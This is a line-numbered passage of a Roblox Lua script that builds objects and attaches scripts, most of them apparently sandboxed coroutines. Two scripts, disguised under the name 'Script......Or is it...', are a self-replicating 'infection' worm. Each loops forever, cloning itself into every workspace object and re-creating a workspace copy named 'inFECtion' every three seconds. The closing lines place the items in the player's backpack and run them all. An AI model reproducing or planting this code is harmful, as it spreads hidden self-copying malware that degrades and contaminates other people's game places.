  5511. Sound520.SoundId = "http://www.roblox.com/asset/?id=2692477"
  5512. Sound520.Volume = 1
  5513. Script521.Name = "Script......Or is it..."
  5514. Script521.Parent = mas
  5515. table.insert(cors,sandbox(Script521,function()
  5516. if script.Parent.className ~= "RotateP" then
  5517. local p = Instance.new("RotateP")
  5518. p.Parent = workspace
  5519. p.Name = "INfecTION"
  5520. script.Parent = p
  5521. end
  5522.  
  5523. function check()
  5524. local list = workspace:GetChildren()
  5525. for i = 1, #list do
  5526. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5527. script.Parent:Clone().Parent = list[i]
  5528. end
  5529. wait()
  5530. end
  5531. end
  5532.  
  5533. while true do
  5534. check()
  5535. if workspace:findFirstChild("inFECtion") == nil then
  5536. local main = script.Parent:Clone()
  5537. main.Name = "inFECtion"
  5538. main.Parent = workspace
  5539. end
  5540. wait(3)
  5541. end
  5542.  
  5543. end))
  5544. Script522.Name = "Script......Or is it..."
  5545. Script522.Parent = mas
  5546. table.insert(cors,sandbox(Script522,function()
  5547. if script.Parent.className ~= "RotateP" then
  5548. local p = Instance.new("RotateP")
  5549. p.Parent = workspace
  5550. p.Name = "INfecTION"
  5551. script.Parent = p
  5552. end
  5553.  
  5554. function check()
  5555. local list = workspace:GetChildren()
  5556. for i = 1, #list do
  5557. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  5558. script.Parent:Clone().Parent = list[i]
  5559. end
  5560. wait()
  5561. end
  5562. end
  5563.  
  5564. while true do
  5565. check()
  5566. if workspace:findFirstChild("inFECtion") == nil then
  5567. local main = script.Parent:Clone()
  5568. main.Name = "inFECtion"
  5569. main.Parent = workspace
  5570. end
  5571. wait(3)
  5572. end
  5573.  
  5574. end))
  5575. for i,v in pairs(mas:GetChildren()) do
  5576. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  5577. pcall(function() v:MakeJoints() end)
  5578. end
  5579. mas:Destroy()
  5580. for i,v in pairs(cors) do
  5581. spawn(function()
  5582. pcall(v)
  5583. end)
  5584. end
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